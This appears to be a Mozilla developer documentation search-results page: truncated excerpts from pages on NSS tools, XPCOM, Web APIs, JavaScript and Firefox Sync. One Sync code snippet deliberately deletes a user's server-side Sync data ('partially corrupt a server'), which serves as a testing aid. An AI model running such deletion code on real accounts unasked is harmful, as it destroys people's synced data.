...the second time the $num variable is passed in the printf() call, which at this point of interpretation looks something like printf("%d user likes this.", $num);.
... the string definition in the messages.po file will look like this: #: file.php:3 #, php-format msgid "%d user likes this." msgid_plural "%d users like this." msgstr[0] "" msgstr[1] "" depending on the localizer's target language and its rules for creating plural forms, there might be another field for translation, e.g.
...And 12 more matches
NSS tools : certutil
ids are displayed in hexadecimal ("0x" is not shown).
...for example: -t "tc,c,t" use the -l option to see a list of the current certificates and trust attributes in a certificate database.
... note that the output of the -l option may include "u" flag, which means that there is a private key associated with the certificate.
...And 12 more matches
certutil
ids are displayed in hexadecimal ("0x" is not shown).
...this slot can also be explicitly named with the string "internal".
...for example: -t "tcu,cu,tuw" use the -l option to see a list of the current certificates and trust attributes in a certificate database.
...And 12 more matches
NSS tools : signtool
to specify the current directory, use "-d." (including the period).
... -e extension tells signtool to sign only files with the given extension; for example, use -e".class" to sign only java class files.
...for more information about the syntax used with this file, see "tips and techniques".
...And 12 more matches
JIT Optimization Strategies
note: this page is an in-progress documentation of jit optimization strategies planned to support the "jit coach" feature intended for inclusion in firefox developer tools.
... getprop_constant attempts to optimize reading a property that contains a uniquely-typed (or "singleton") object.
...unique (or "singleton") types are assigned to certain kinds of objects, like global objects, top-level functions, and object literals declared at the top-level of a script.
...And 12 more matches
TPS Tests
in particular, it will set preferences from the "preferences" property, and so you can set the "identity.fxaccounts.autoconfig.uri" preference to point to any fxa server you want.
... "fx_account": { "username": "foobar@restmail.net", "password": "hunter2" }, "preferences": { // use "https://stable.dev.lcip.org" for dev instead of stage "identity.fxaccounts.autoconfig.uri": "https://accounts.stage.mozaws.net" // possibly more preferences...
...one alternative is to put underscores before the "disabled" preferences, e.g.
...And 12 more matches
Using the Places history service
the places history service ("navhistory") implements these history interfaces: nsiglobalhistory2: basic add page, is visited functionality used by the docshell when visiting and rendering pages.
...this information is called a "visit" in this document and in the code.
... the "session id" allows these paths to be reconstructed more easily.
...And 12 more matches
XPCOM Stream Guide
MozillaTechXPCOMGuideStreams
on the other hand, we use streams to access files within a zip archive, to store and provide data coming from websites, even to talk to other programs on the same computer through "pipes" (more on that later).
... the "safe file output stream" mozilla provides a "safe file output stream" implementation.
...to solve this, there is a special nsiscriptableinputstream interface and "scriptable stream" wrapper.
...And 12 more matches
imgIEncoder
png: ---- transparency=[yes|no|none] -- default: "yes" overrides default from input format.
... "no" and "none" are equivalent.
... apng: ----- the following options can be used with startimageencode(): transparency=[yes|no|none] -- default: "yes" overrides default from input format.
...And 12 more matches
nsIFaviconService
to use this service, use: var faviconservice = components.classes["@mozilla.org/browser/favicon-service;1"] .getservice(components.interfaces.nsifaviconservice); method overview void addfailedfavicon(in nsiuri afaviconuri); void expireallfavicons(); void getfavicondata(in nsiuri afaviconuri, out autf8string amimetype, [optional] out unsigned long adatalen, [array,retval,size_is(adatalen)] out octet adata); obsolet...
...note: this is an asynchronous operation; when it completes, a "places-favicons-expired" notification is dispatched through the observer's service.
...if there is no data but we have an entry for this favicon, adatalen will be "0" and adata will be null.
...And 12 more matches
Storage
the api is currently "unfrozen", which means it is subject to change at any time; in fact, it has changed somewhat with each release of firefox since it was introduced, and will likely continue to do so for a while.
...it does not cover sql or "regular" sqlite.
... opening a connection javascript example of opening my_db_file_name.sqlite in the profile directory: components.utils.import("resource://gre/modules/services.jsm"); components.utils.import("resource://gre/modules/fileutils.jsm"); let file = fileutils.getfile("profd", ["my_db_file_name.sqlite"]); let dbconn = services.storage.opendatabase(file); // will also create the file if it does not exist likewise, the c++ would look like this: nscomptr<nsifile> dbfile; rv = ns_getspecialdirectory(ns_app_user_profile_50_dir, ...
...And 12 more matches
Reference Manual
nscomptr<nsifoo> foo = bar; // ns_assertion: "queryinterface needed" // ...even assuming you can get the line to compile // (either by casting, or because the types are related by c ) this invariant is relaxed for nscomptr<nsisupports>.
... like nsisupports* (or even void*), people generally use nscomptr<nsisupports> to mean "any xpcom interface." it would be annoying if nscomptr forced you to queryinterface to the xpcom-correct nsisupports within an object in places where you don't care to know the exact type.
... null-dereference safeguards an nscomptr will also assert at runtime if you try to dereference it when it is void, e.g., nscomptr<nsifoo> foo; // note: default initialized to |0| foo->dosomething(); // ns_precondition: "you can't dereference a null nscomptr with operator->()" a similar precondition intervenes on behalf of operator*.
...And 12 more matches
Aggregate view - Firefox Developer Tools
after firefox 48, the default view is the tree map view, and you can switch to the aggregate view using the dropdown labeled "view:": the aggregate view looks something like this: it presents a breakdown of the heap's contents, as a table.
... there are three main ways to group the data: type call stack inverted call stack you can switch between them using the dropdown menu labeled "group by:" located at the top of the panel: there's also a box labeled "filter" at the top-right of the pane.
... type this is the default view, which looks something like this: it groups the things on the heap into types, including: javascript objects: such as function or array dom elements: such as htmlspanelement or window strings: listed as "strings" javascript sources: listed as "jsscript" internal objects: such as "js::shape".
...And 12 more matches
Console messages - Firefox Developer Tools
if the request was made as an xmlhttprequest, there's an additional "xhr" tag indicating this.
... js javascript errors contain a "learn more" link that takes you to the javascript error reference containing additional advice for fixing issues: source maps the web console understands source maps.
... reflow events are logged as "reflow" messages, as distinct from css errors or warnings.
...And 12 more matches
KeyboardEvent.key - Web APIs
WebAPIKeyboardEventkey
if the keyboardevent represents the press of a dead key, the key value must be "dead".
...these events get mapped to dom keyboard events, and are listed among the "virtual key codes" for windows, even though they aren't actually key codes.
... html <div class="fx"> <div> <textarea rows="5" name="test-target" id="test-target"></textarea> <button type="button" name="btn-clear-console" id="btn-clear-console">clear console</button> </div> <div class="flex"> <pre id="console-log"></pre> </div> </div> css .fx { -webkit-display: flex; display: flex; margin-left: -20px; margin-right: -20px; } .fx > div { padding-left: 20px; p...
...And 12 more matches
Recording a media element - Web APIs
html content <p>click the "start" button to begin video recording for a few seconds.
... you can stop the video by clicking the creatively-named "stop" button.
... the "download" button will download the received data (although it's in a raw, unwrapped form that isn't very useful).
...And 12 more matches
Using the Notifications API - Web APIs
example in our todo list demo, we include an "enable notifications" button that, when pressed, requests notification permissions for the app.
... <button id="enable">enable notifications</button> clicking this calls the asknotificationpermission() function: function asknotificationpermission() { // function to actually ask the permissions function handlepermission(permission) { // whatever the user answers, we make sure chrome stores the information if(!('permission' in notification)) { notification.permission = permission; } // set the button to shown or hidden, depending on what the user answers if(notification.permission === 'denied' || notification.permission === 'default') { notificationbtn.style.display = 'block'; } else { notificationbtn.style.display = 'none'; } } // let's check if the browser supports notifications if (!('notification' in window)) { console.lo...
...g("this browser does not support notifications."); } else { if(checknotificationpromise()) { notification.requestpermission() .then((permission) => { handlepermission(permission); }) } else { notification.requestpermission(function(permission) { handlepermission(permission); }); } } } looking at the second main block first, you'll see that we first check to see if notifications are supported.
...And 12 more matches
Using the Screen Capture API - Web APIs
starting screen capture: async/await style async function startcapture(displaymediaoptions) { let capturestream = null; try { capturestream = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); } catch(err) { console.error("error: " + err); } return capturestream; } you can write this code either using an asynchronous function and the await operator, as shown above, or using the promise directly, as seen below.
... starting screen capture: promise style function startcapture(displaymediaoptions) { let capturestream = null; return navigator.mediadevices.getdisplaymedia(displaymediaoptions) .catch(err => { console.error("error:" + err); return null; }); } either way, the user agent responds by presenting a user interface that prompts the user to choose the screen area to share.
...this could be refined further by specifying additional information for each of audio and video: const gdmoptions = { video: { cursor: "always" }, audio: { echocancellation: true, noisesuppression: true, samplerate: 44100 } } in this example the cursor will always be visible in the capture, and the audio track should ideally have noise suppression and echo cancellation features enabled, as well as an ideal audio sample rate of 44.1khz.
...And 12 more matches
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
finally, voice dictation software needs to know what's in the current document or ui in order to implement "say what you see" kinds of features.
...msaa is supposed to be the "right way" for accessibility aids to get information, but sometimes the hacks are more effective.
... myth: "msaa sucks" reality: this statement may come from another engineer or even an employee of an at vendor.
...And 12 more matches
Keyboard-navigable JavaScript widgets - Accessibility
tabindex="-1") yes no; author must focus the element with focus() in response to arrow or other key presses.
...tabindex="0") yes in tab order relative to element's position in document (note that interactive elements like <a> have this behavior by default, they don't need the attribute).
...tabindex="33") yes tabindex value determines where this element is positioned in the tab order: smaller values will position elements earlier in the tab order than larger values (for example, tabindex="7" will be positioned before tabindex="11").
...And 12 more matches
Indexed collections - JavaScript
the bracket syntax is called an "array literal" or "array initializer." it's shorter than other forms of array creation, and so is generally preferred.
...writing 0 empties it entirely: let cats = ['dusty', 'misty', 'twiggy'] console.log(cats.length) // 3 cats.length = 2 console.log(cats) // logs "dusty, misty" - twiggy has been removed cats.length = 0 console.log(cats) // logs []; the cats array is empty cats.length = 3 console.log(cats) // logs [ <3 empty items> ] iterating over arrays a common operation is to iterate over the values of an array, processing each one in some way.
... let myarray = new array('1', '2', '3') myarray = myarray.concat('a', 'b', 'c') // myarray is now ["1", "2", "3", "a", "b", "c"] join(delimiter = ',') joins all elements of an array into a string.
...And 12 more matches
Functions - JavaScript
generally speaking, a function is a "subprogram" that can be called by code external (or internal in the case of recursion) to the function.
...however, object references are values, too, and they are special: if the function changes the referred object's properties, that change is visible outside the function, as shown in the following example: /* declare the function 'myfunc' */ function myfunc(theobject) { theobject.brand = "toyota"; } /* * declare variable 'mycar'; * create and initialize a new object; * assign reference to it to 'mycar' */ var mycar = { brand: "honda", model: "accord", year: 1998 }; /* logs 'honda' */ console.log(mycar.brand); /* pass object reference to the function */ myfunc(mycar); /* * logs 'toyota' as the value of the 'brand' property * of the object, as changed to by the functi...
...one can define "named" function expressions (where the name of the expression might be used in the call stack for example) or "anonymous" function expressions.
...And 12 more matches
JSON.stringify() - JavaScript
exceptions throws a typeerror ("cyclic object value") exception when a circular reference is found.
... throws a typeerror ("bigint value can't be serialized in json") when trying to stringify a bigint value.
...json.stringify() can return undefined when passing in "pure" values like json.stringify(function(){}) or json.stringify(undefined).
...And 12 more matches
places/bookmarks - Archive of obsolete content
examples creating a new bookmark let { bookmark, save } = require("sdk/places/bookmarks"); // create a new bookmark instance, unsaved let bookmark = bookmark({ title: "mozilla", url: "http://mozilla.org" }); // attempt to save the bookmark instance to the bookmarks database // and store the emitter let emitter = save(bookmark); // listen for events emitter.on("data", function (saved, inputitem) { // on a "data" event, an item has been updated, passing in the...
... // latest snapshot from the server as `saved` (with properties // such as `updated` and `id`), as well as the initial input // item as `inputitem` console.log(saved.title === inputitem.title); // true console.log(saved !== inputitem); // true console.log(inputitem === bookmark); // true }).on("end", function (saveditems, inputitems) { // similar to "data" events, except "end" is an aggregate of // all progress events, with ordered arrays as `saveditems` // and `inputitems` }); creating several bookmarks with a new group let { bookmark, group, save } = require("sdk/places/bookmarks"); let group = group({ title: "guitars" }); let bookmarks = [ bookmark({ title: "ran", url: "http://ranguitars.com", group: group }), bookmark({ title: "ibanez", url: "http://ibanez.com",...
... group: group }), bookmark({ title: "esp", url: "http://espguitars.com", group: group }) ]; // save `bookmarks` array -- notice we don't have `group` in the array, // although it needs to be saved since all bookmarks are children // of `group`.
...And 11 more matches
package.json - Archive of obsolete content
it looks like this (assuming the add-on's directory is "my-addon"): { "name": "my-addon", "title": "my-addon", "id": "jid1-1fergv45e4f4f@jetpack", "description": "a basic add-on", "author": "", "license": "mpl-2.0", "version": "0.1" } if you are using the new jpm tool, you can easily access manifest data from package.json by requiring it like any other module: var title = require("./package.json").title; key reference package.json ma...
...this defaults to the text "a basic add-on".
... firefox: firefox desktop fennec: firefox for android thunderbird: thunderbird seamonkey: seamonkey any application uuid example: "engines": { "firefox": ">= 38.0a1", "fennec": ">= 38.0a1" } fullname note: this is deprecated along with cfx; it's not available when using jpm.
...And 11 more matches
Creating Reusable Modules - Archive of obsolete content
with the sdk you don't have to keep all your add-on in a single "index.js" file.
...it's a useful way to create a "fingerprint" that can be used to identify a file.
...the documentation for that interface includes an example which we can adapt like this: var {cc, ci} = require("chrome"); function promptforfile() { const nsifilepicker = ci.nsifilepicker; var fp = cc["@mozilla.org/filepicker;1"] .createinstance(nsifilepicker); var window = require("sdk/window/utils").getmostrecentbrowserwindow(); fp.init(window, "select a file", nsifilepicker.modeopen); fp.appendfilters(nsifilepicker.filterall | nsifilepicker.filtertext); var rv = fp.show(); if...
...And 11 more matches
Dialogs and Prompts - Archive of obsolete content
simple dialog code the following xul code defines a simple dialog with two buttons, ok and cancel (buttons="accept,cancel" attribute on dialog).
... <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?> <dialog xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="..." title="..." buttons="accept,cancel" ondialogaccept="return onaccept();" ondialogcancel="return oncancel();"> <script src="chrome://..."/> <!-- content --> </dialog> you need to implement onaccept and oncancel functions in your script.
...for example, to add an apply button to your dialog, use the following code: <dialog xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="..." buttons="accept,cancel,extra1" ondialogaccept="onaccept();" ondialogextra1="onapply();" buttonlabelextra1="apply" buttonaccesskeyextra1="a"> <!-- content --> </dialog> you can even get the element object for any of predefined buttons with gdialog.getbutton(dlgtype);, where gdialog is the <dialog> element and dlg...
...And 11 more matches
Connecting to Remote Content - Archive of obsolete content
let url = "http://www.example.com/"; let request = components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"] .createinstance(components.interfaces.nsixmlhttprequest); request.onload = function(aevent) { window.alert("response text: " + aevent.target.responsetext); }; request.onerror = function(aevent) { window.alert("error status: " + aevent.target.status); }; request.open("get", url, ...
... request.overridemimetype("text/xml"); // do this before sending the request!
...the http request method can be "get", "post" or "put".
...And 11 more matches
Observer Notifications - Archive of obsolete content
this example code shows you what an implementation of the nsiobserver interface looks like: let testobserver = { observe : function(asubject, atopic, adata) { if (atopic == "xulschoolhello-test-topic") { window.alert("data received: " + adata); } } } in order for this observer to work, you need to use the observer service that provides methods for you to add, remove, notify and enumerate observers.
... let observerservice = components.classes["@mozilla.org/observer-service;1"].
... getservice(components.interfaces.nsiobserverservice); observerservice.addobserver(testobserver, "xulschoolhello-test-topic", false); you should come up with a notification topic that is unique so you know it will not conflict with firefox or other extensions topics.
...And 11 more matches
XPCOM Objects - Archive of obsolete content
we often mention other "mozilla based applications".
... this.obsservice = cc["@mozilla.org/observer-service;1"].getservice(ci.nsiobserverservice); the cc object (components.classes) is an index to static objects and class definitions available through xpcom.
...if you want to see the list in your current firefox installation, just run the following code in the error console: var str = ""; for (var i in components.classes) { str += i + "\n" }; str a run on firefox 3.6.2 with a few extensions installed yields 876 strings.
...And 11 more matches
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
in other words, the page is the browsing device during the experience, and the user is "immersed" in that browsing device.
...data request \________ dynamically create a hidden iframe \_________ content is loaded -> call data binder data binder \_____ load xml||html data from iframe "container" \_____ send content to proper layout components the method presented here separates data request from data binding.
...so the following piece of html defines an iframe element which is not visible to the user: <div style="visibility:hidden; position:absolute; top:-1000px; left:-1000px"> <iframe id="bridgeframe" src=""></iframe> </div> the javascript code located in the data loader component will be interacting with this iframe element, requesting data from the server.
...And 11 more matches
MMgc - Archive of obsolete content
the garbage collector is "managing" it, detecting when the memory is no longer reachable from anywhere in the application and reclaiming it at that time.
...see below.) class myobject : public mmgc::gcobject { ~myobject() { assert(!"this will never be hit (unless we also descend from gcfinalizedobject)"); } }; gcobject::getweakref gcweakref *getweakref() const; the getweakref method returns a weak reference to the object.
...the flash player class "nativeinfo" is a good example.
...And 11 more matches
Creating a Microsummary - Archive of obsolete content
web pages can reference generators via <link rel="microsummary"> elements in their <head> elements.
...then just link to the microsummaries from within the pages themselves using a <link rel="microsummary"> element, f.e.: <head> <link rel="microsummary" href="index.php?view=microsummary"> </head> when firefox encounters a <link rel="microsummary"> element, it loads the url in the href attribute.
...to begin building the generator, create a new empty text file and add an xml declaration and empty <generator> tag to it: <?xml version="1.0" encoding="utf-8"?> <generator xmlns="http://www.mozilla.org/microsummaries/0.1"> </generator> giving it a name generators should have name attributes which are arbitrary descriptions of the microsummaries the generator creates.
...And 11 more matches
Code snippets - Archive of obsolete content
components.utils.import("resource://services-sync/main.js"); // obtain a reference to the main firefox window.
...stor) .getinterface(components.interfaces.nsiwebnavigation) .queryinterface(components.interfaces.nsidocshelltreeitem) .roottreeitem .queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsidomwindow); // obtain a reference to sync's tabs "engine." let tabsengine = weave.service.enginemanager.get("tabs"); // iterate over each client having data.
... mainwindow.gbrowser.addtab(url); } } partially corrupt a server components.utils.import("resource://services-sync/main.js"); components.utils.import("resource://services-sync/resource.js"); function deletepath(path) { let resource = new resource(weave.service.storageurl + path); resource.setheader("x-confirm-delete", "1"); return resource.delete(); } // delete meta/global: deletepath("meta/global"); // delete keys: deletepath("crypto/keys"); // delete server: deletepath(""); corrupt a single engine on the server let engine = "bookmarks"; components.utils.import("resource://services-sync/main.js"); ...
...And 11 more matches
JavaScript Client API - Archive of obsolete content
const cu = components.utils; cu.import("resource://services-sync/engines.js"); cu.import("resource://services-sync/record.js"); cu.import("resource://services-sync/util.js"); the record object the record object is a wrapper around a single instance of whatever data it is that you are syncing -- a single bookmark, history url, password or form data entry.
... the skeleton of a sample record implementation: function foorecord(collection, id) { cryptowrapper.call(this, collection, id); } foorecord.prototype = { __proto__: cryptowrapper.prototype, _logname: "record.foo", ttl: foo_ttl, // optional get bar() this.cleartext.bar, set bar(value) { this.cleartext.bar = value; }, get baz() this.cleartext.baz, set baz(value) { this.cleartext.baz = value; } }; to save all that typing for declaring the getters and setters, you can also use utils.defergetset: function foorecord(collection, id) { cryptowrapper.call(this, collection, i...
...d); } foorecord.prototype = { __proto__: cryptowrapper.prototype, _logname: "record.foo", ttl: foo_ttl // optional }; utils.defergetset(foorec, "cleartext", ["bar", "baz"]); the store object the store object (which extends store, as defined in services/sync/modules/engines.js) has the job of creating and maintaining a set of record objects from the underlying data.
...And 11 more matches
Proxy UI - Archive of obsolete content
camino configured in os (networking preferences) (recently added - some support for reading os and account settings.)ui elements preferences panel overview the ui is based on selecting a proxy mode, then filling out any additional needed information in "related" ui.
... the "ok" button saves the preferences.
... the preference changes selecting the proxy "mode" all product's proxy preference panels share a basic design: a radio button that selects the proxy mode, then "related proxy mode" ui when needed.
...And 11 more matches
Example Sticky Notes - Archive of obsolete content
view this example <!doctype html public "-//w3c//dtd html 4.01//en" "http://www.w3.org/tr/html401/strict.dtd"> <html> <head> <title>xbl demo : sticky notes</title> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> <style type="text/css"> body { background-color: #ffffff; color: #000000; font: 1em verdana, sans-serif; } h1 { font-size: 1.5em; } /* binding: */ .sticker { -moz-binding: url(notes.xml#default); } </style> </head> <body> <h1><a href="http://developer.mozilla.org/en/docs/xbl:xbl_1.0_reference">xbl</a> demo : sticky notes</h1> <div class="sticker"><p>acme,&nbsp;inc.
... fax - respond today.</p></div> <div class="sticker"><p>don't forget the eggs!</p></div> <div class="sticker"><p>the new project - who's on charge?</p></div> <div class="sticker"><p>learn more about xbl.</p></div> <p style="clear: left"><a href="http://validator.w3.org/check?uri=referer"><img src="https://udn.realityripple.com/samples/e2/dd625ef1cd.png" width="88" height="31" alt="valid html 4.01" style="border: 1px none"></a></p> </body> </html> notes.xml <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl" xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:svg="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- in above only xbl namespace declaration is mandatory.
...--> <binding id="default"> <!-- a separate binding.
...And 11 more matches
Processing XML with E4X - Archive of obsolete content
you can add an e4x=1 argument to your <script> tag to disable this restriction: <script type="text/javascript;e4x=1"> ...
...the first is to pass a string to the xml constructor: var languages = new xml('<languages type="dynamic"><lang>javascript</lang><lang>python</lang></languages>'); the second is to embed the xml directly in your script, as an xml literal: var languages = <languages type="dynamic"> <lang>javascript</lang> <lang>python</lang> </languages>; in both cases, the resulting object will be an e4x xml object, which provides convenient syntax for both accessing and updating the encapsulated data.
... var h = 'html'; var text = "here's some text"; var doc = <{h}><body>{text}</body></{h}>; alert(doc.toxmlstring()); // gives <html> <body>here's some text</body> </html> working with attributes xml literal syntax has a significant advantage over the xml constructor when you need to create markup dynamically.
...And 11 more matches
XForms Input Element - Archive of obsolete content
analogous widgets are <xhtml:input type="text"/> and <xul:textbox/> specific handling of attributes incremental - if "true", the bound instance node will be updated on each character typed by the user.
... if "false", or the incremental attribute is omitted on this element then the bound instance node will be updated when the control loses the focus.
...characteristics used when the instance node is of type xsd:boolean or a type derived from it analogous widgets are <xhtml:input type="checkbox"/> and <xul:checkbox/> the corresponding label can be displayed before or after the checkbox by using the labelposition attribute.
...And 11 more matches
Legacy layout methods - Learn web development
we now refer to these as "legacy" methods.
...you will however encounter "grid systems" using these legacy methods from time to time.
... <div class="wrapper"> <div class="row"> <div class="col">1</div> <div class="col">2</div> <div class="col">3</div> <div class="col">4</div> <div class="col">5</div> <div class="col">6</div> <div class="col">7</div> <div class="col">8</div> <div class="col">9</div> <div class="col">10</div> <div class="col">11</div> <div class="col">12</div> </div> <div cla...
...And 11 more matches
A first splash into JavaScript - Learn web development
here you'll build up a simple "guess the number" game, step by step.
...we can't promise that you'll develop "programmer brain" in five minutes, but we will give you plenty of opportunity to practice thinking like a programmer throughout the course.
... example — guess the number game in this article we'll show you how to build up the simple game you can see below: top hidden code <!doctype html> <html> <head> <meta charset="utf-8"> <title>number guessing game</title> <style> html { font-family: sans-serif; } body { width: 50%; max-width: 800px; min-width: 480px; margin: 0 auto; } .lastresult { color: white; padding: 3px; } </style> </head> <body> <h1>number guessing game</h1> <p>we have selected a random number between 1 an...
...And 11 more matches
Dynamic behavior in Svelte: working with variables and props - Learn web development
find the <h2> heading with an id of list-heading and replace the hardcoded number of active and completed tasks with dynamic expressions: <h2 id="list-heading">{completedtodos} out of {totaltodos} items completed</h2> go to the app, and you should see the "2 out of 3 items completed" message as before, but this time the information is coming from the todos array.
... replace the existing <ul> element with the following simplified version to get an idea of how it works: <ul> {#each todos as todo, index (todo.id)} <li> <input type="checkbox" checked={todo.completed}/> {index}.
...replace your existing <ul> block with the following: <!-- todos --> <ul role="list" class="todo-list stack-large" aria-labelledby="list-heading"> {#each todos as todo (todo.id)} <li class="todo"> <div class="stack-small"> <div class="c-cb"> <input type="checkbox" id="todo-{todo.id}" checked={todo.completed}/> <label for="todo-{todo.id}" class="todo-label"> {todo.name} </label> </div> <div class="b...
...And 11 more matches
Creating our first Vue component - Learn web development
<template> <div> <input type="checkbox" id="todo-item" checked="false" /> <label for="todo-item">my todo item</label> </div> </template> using todoitem inside our app this is all fine, but we haven’t added the component to our app yet, so there’s no way to test it and see if everything is working.
... your app.vue <template> contents should now look something like this: <div id="app"> <h1>to-do list</h1> <ul> <li> <to-do-item></to-do-item> </li> </ul> </div> if you check your rendered app again, you should now see your rendered todoitem, consisting of a checkbox and a label.
...set the value for this property as the javascript string type (note the capital "s").
...And 11 more matches
HTTP logging
this allows you to capture only the "interesting" part of the browser's behavior (i.e.
... open a new tab and type in "about:networking" into the url bar.
... go to the "logging section" adjust the location of the log file if you don't like the default adjust the list of modules that you want to log: this list has the exact same format as the moz_log environment variable (see below).
...And 11 more matches
Using the Browser API
MozillaGeckoChromeAPIBrowser APIUsing
note: an iframe enhanced by the browser api is commonly referred to as a "browser iframe".
... the html an <iframe> is turned into a browser iframe by setting the mozbrowser attribute on it: <iframe src="http://mozilla.org" mozbrowser> in addition, the <iframe> can be loaded in its own child process — separate to the page embedding this frame — by including the remote attribute.
... <iframe src="http://hostname.tld" mozbrowser remote> warning: this last attribute is necessary for security reasons if you plan to load content from an untrusted/unknown origin.
...And 11 more matches
MathML Demo: <mtable> - tables and matrices
1 22 333 4444 x 55555 666666 a b c 7777777 11 ...--- , cols arg is "|r|c|l|", \hline's above and below.
... when align="center" or align="baseline", the middle of the table coincides with the baseline.
... 1 22 333 4444 x 55555 lim n→∞ f-1 ⋃ i=1 n ai rowspan=2 here xn + yn n columnspan=2 here 7777777 11 ...--- , columnlines="solid", rowlines="dashed solid dashed".
...And 11 more matches
NSS Sample Code Utilities_1
this code shows the following: extract seed from noise file read der encoding from a file extract the password from a text file get the module password print as ascii or hexadecimal sample code #include <prlog.h> #include <termios.h> #include <base64.h> #include <unistd.h> #include <sys/stat.h> #include <prprf.h> #include "util.h" /* * these utility functions are adapted from those found in * the sectool library used by the nss security tools and * other nss test applications.
... */ /* * newline */ static void newline(prfiledesc* out) { pr_fprintf(out, "\n"); } /* * printasascii */ void printasascii(prfiledesc* out, const unsigned char *data, unsigned int len) { char *b64data = null; b64data = btoa_datatoascii(data, len); pr_fprintf(out, "%s", b64data); pr_fprintf(out, "\n"); if (b64data) { port_free(b64data); } } /* * printashex */ void printashex(prfiledesc* out, const unsigned char *data, unsigned int len) { unsigned i; int column; unsigned int limit = 15; unsigned int level = 1; column = level; if (!len) { pr_fprintf(out, "(empty)\n"); return; } for (i = 0; i < len; i++) { if (i != len - 1) { pr_fprintf(out, "%02x:", data[i]); column...
... += 3; } else { pr_fprintf(out, "%02x", data[i]); column += 2; break; } if (column > 76 || (i % 16 == limit)) { newline(out); column = level; limit = i % 16; } } if (column != level) { newline(out); } } /* * getdigit */ int getdigit(char c) { if (c == 0) { return -1; } if (c <= '9' && c >= '0') { return c - '0'; } if (c <= 'f' && c >= 'a') { return c - 'a' + 0xa; } if (c <= 'f' && c >= 'a') { return c - 'a' + 0xa; } return -1; } /* * hextobuf */ int hextobuf(unsigned char *instring, secitem *outbuf, prbool ishexdata) { int len = strlen(instring); int outlen = len+1/2; int truelen = 0;...
...And 11 more matches
Utilities for nss samples
*/ #ifndef _util_h #define _util_h #include <prlog.h> #include <termios.h> #include <base64.h> #include <unistd.h> #include <sys/stat.h> #include "util.h" #include <prprf.h> #include <prerror.h> #include <nss.h> #include <pk11func.h> /* * these utility functions are adapted from those found in * the sectool library used by the nss security tools and * other nss test applications.
...*/ #include "util.h" /* * these utility functions are adapted from those found in * the sectool library used by the nss security tools and * other nss test applications.
... */ /* * newline */ static void newline(prfiledesc* out) { pr_fprintf(out, "\n"); } /* * printasascii */ void printasascii(prfiledesc* out, const unsigned char *data, unsigned int len) { char *b64data = null; b64data = btoa_datatoascii(data, len); pr_fprintf(out, "%s", b64data); pr_fprintf(out, "\n"); if (b64data) { port_free(b64data); } } /* * printashex */ void printashex(prfiledesc* out, const unsigned char *data, unsigned int len) { unsigned i; int column; unsigned int limit = 15; unsigned int level = 1; column = level; if (!len) { pr_fprintf(out, "(empty)\n"); return; } for (i = 0; i < len; i++) { if (i != len - 1) { pr_fprintf(out, "%02x:", data[i]); column...
...And 11 more matches
gtstd.html
>certutil -s -d ca_db -n "myco's root ca" -s "cn=my ca,o=myco,st=california,c=us" -t "ct,," -x -2 enter password or pin for "communicator certificate db": extract the ca certificate from the ca's certificate database to a file.
... >certutil -l -d ca_db -n "myco's root ca" -a -o ca_db/rootca.crt enter password or pin for "communicator certificate db": display the contents of the ca's certificate databases.
... >certutil -l -d ca_db the trust flag settings "ctu,u,u" indicate that the certificate is a ca certificate that is trusted to issue both client (c) and server (t) ssl certificates.
...And 11 more matches
Tutorial: Embedding Rhino
exiting the context expose java apis using java apis implementing interfaces adding java objects using javascript objects from java using javascript variables calling javascript functions javascript host objects defining host objects counter example counter's constructors class name dynamic properties defining javascript "methods" adding counter to runscript runscript: a simple embedding about the simplest embedding of rhino possible is the runscript example.
... here's an example use of runscript from a shell command line: $ java runscript "math.cos(math.pi)" -1 $ java runscript "function f(x){return x+1} f(7)" 8 note that you'll have to have both the rhino classes and the runscript example class file in the classpath.
... string s = ""; for (int i=0; i < args.length; i++) { s += args[i]; } evaluating a script the code object result = cx.evaluatestring(scope, s, "<cmd>", 1, null); uses the context cx to evaluate a string.
...And 11 more matches
Redis Tips
redis> get foo (nil) redis> setnx foo 17 (integer) 1 redis> get foo "17" redis> setnx foo 42 (integer) 0 the return value from setnx is 1 if the value was set, 0 otherwise.
... redis> del foo (integer) 1 redis> get foo (nil) redis> getset foo 3 (nil) redis> getset foo 4 "3" efficient multiple queries and transaction blocks you'll often want to do several queries together.
... here's a stupid node script to show how this works: #!/usr/bin/env node var r = require('redis').createclient(); r.multi() .set("foo", 42) .set("bar", "ice cream") .set("baz", 6.28) .get("foo") .get("bar") .get("baz") .exec(function(err, resultlist) { console.log(json.stringify(resultlist, null, 2)); r.end(); // terminate the redis connection; node can quit }); when run, this prints: [ "ok", "ok", "ok", "42", "ice cream", "6.28" ] the result list includes one value per each command exec...
...And 11 more matches
How to build an XPCOM component in JavaScript
this is a "hello world" tutorial for creating an xpcom component in javascript.
... implementation this example component will expose a single method, which returns the string "hello world!".
...here's the xpidl definition for our helloworld component: helloworld.idl #include "nsisupports.idl" [scriptable, uuid(xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)] interface nsihelloworld : nsisupports { string hello(); }; note that you must generate a new uuid for each xpcom component that you create.
...And 11 more matches
Finishing the Component
if you use "stuff" that isn't frozen, that stuff is subject to change in future versions of gecko.
...the rule of thumb is that interfaces outside of the sdk are considered "experimental" or unfrozen.
...even with interfaces marked "under review," however, it's still a good idea to contact the module owners responsible for the interfaces you are interested in using.
...And 11 more matches
Setting up the Gecko SDK
then, from the new dialog, select "win32 dynamic-link library".
...(this example uses "samplegeckoproject" as the project name and c:\ as its location.).
...in the win32 dynamic-link library dialog that displays (see below), you can choose the default selection "an empty dll project" as the type of dll.
...And 11 more matches
Using the clipboard
const gclipboardhelper = components.classes["@mozilla.org/widget/clipboardhelper;1"] .getservice(components.interfaces.nsiclipboardhelper); gclipboardhelper.copystring("put me on the clipboard, please."); this example will first create a clipboard helper and then copy a short string to the clipboard.
